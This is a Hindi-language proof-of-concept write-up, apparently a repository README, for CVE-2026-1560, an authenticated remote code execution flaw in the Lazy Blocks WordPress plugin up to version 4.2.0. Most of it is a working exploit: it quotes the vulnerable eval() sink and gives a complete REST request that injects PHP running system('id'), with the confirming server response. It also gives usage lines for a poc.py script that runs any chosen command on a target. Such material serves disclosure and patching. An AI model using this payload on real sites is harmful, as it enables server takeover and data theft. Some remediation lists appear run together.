
CVE-2026-1560 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Lazy Blocks WordPress प्लगइन में एक प्रमाणित रिमोट कोड एक्ज़ीक्यूशन भेद्यता है, जो कम-विशेषाधिकार वाले उपयोगकर्ताओं को REST API के माध्यम से मनमाना PHP निष्पादित करने की अनुमति देती है।
शोधकर्ता: ZeYrOXxx
प्लगइन: कस्टम ब्लॉक बिल्डर – लेज़ी ब्लॉक्स
प्रभावित संस्करण: ≤ 4.2.0
गंभीरता: उच्च
CVSS: 8.8
भेद्यता प्रकार: प्रमाणित रिमोट कोड निष्पादन (RCE)
हमला वेक्टर: REST API
आवश्यक विशेषाधिकार: edit_posts (योगदानकर्ता+)
कस्टम ब्लॉक बिल्डर – लेज़ी ब्लॉक्स वर्डप्रेस प्लगइन में 4.2.0 तक के संस्करणों को प्रभावित करने वाली एक उच्च सुरक्षा भेद्यता की पहचान की गई है।
यह भेद्यता कम विशेषाधिकार वाले प्रमाणित उपयोगकर्ताओं (योगदानकर्ता भूमिका) को ब्लॉक पूर्वावलोकन कार्यक्षमता के लिए बनाए गए REST API एंडपॉइंट के माध्यम से सर्वर पर मनमाना PHP कोड निष्पादित करने की अनुमति देती है।
यह समस्या वर्डप्रेस के विशेषाधिकार मॉडल को पूरी तरह से तोड़ देती है और पूर्ण सर्वर समझौते का कारण बन सकती है।
POST /wp-json/lazy-blocks/v1/block-builder-preview/
यह एंडपॉइंट edit_posts क्षमता वाले किसी भी प्रमाणित उपयोगकर्ता के लिए सुलभ है।
REST रूट एक कमजोर अनुमति कॉलबैक के साथ पंजीकृत है:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
इसमें योगदानकर्ता शामिल हैं, जिन्हें कभी भी PHP कोड निष्पादित करने की अनुमति नहीं दी जानी चाहिए।
REST नियंत्रक – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
ब्लॉक रेंडरर – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
eval() फ़ंक्शन बिना सैनिटाइज़ेशन या सत्यापन के हमलावर-नियंत्रित PHP कोड निष्पादित करता है।
लेज़ी ब्लॉक्स ब्लॉकों के लिए कस्टम PHP रेंडरिंग लॉजिक की अनुमति देता है।
REST API पूर्वावलोकन एंडपॉइंट उपयोगकर्ता-आपूर्ति ब्लॉक परिभाषाओं को स्वीकार करता है और विश्वसनीय संग्रहीत ब्लॉकों और हमलावर-नियंत्रित पूर्वावलोकन ब्लॉकों के बीच अंतर नहीं करता है।
निम्नलिखित जैसी समतल ब्लॉक विशेषताओं को इंजेक्ट करके:
code_output_methodcode_editor_htmlएक हमलावर php_eval() निष्पादन सिंक तक पहुंच सकता है और मनमाना PHP कोड चला सकता है।
अनुरोध:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
प्रतिक्रिया:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ मनमाना कमांड निष्पादन की पुष्टि हुई
यह PoC केवल सुरक्षा परीक्षण और शोध उद्देश्यों के लिए प्रदान किया गया है।
योगदानकर्ता पहुंच वाला हमलावर निम्न कार्य कर सकता है:
wp-config.php)eval() के उपयोग को हटाएंmanage_options या unfiltered_html क्षमता की आवश्यकता रखेंrequests लाइब्रेरीedit_posts क्षमता वाले मान्य वर्डप्रेस क्रेडेंशियल (योगदानकर्ता+)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
यदि लक्ष्य भेद्य है, तो कमांड आउटपुट HTTP प्रतिक्रिया में वापस आ जाएगा।
⚠️ यह प्रमाण-अवधारणा केवल अधिकृत सुरक्षा परीक्षण और शोध उद्देश्यों के लिए है।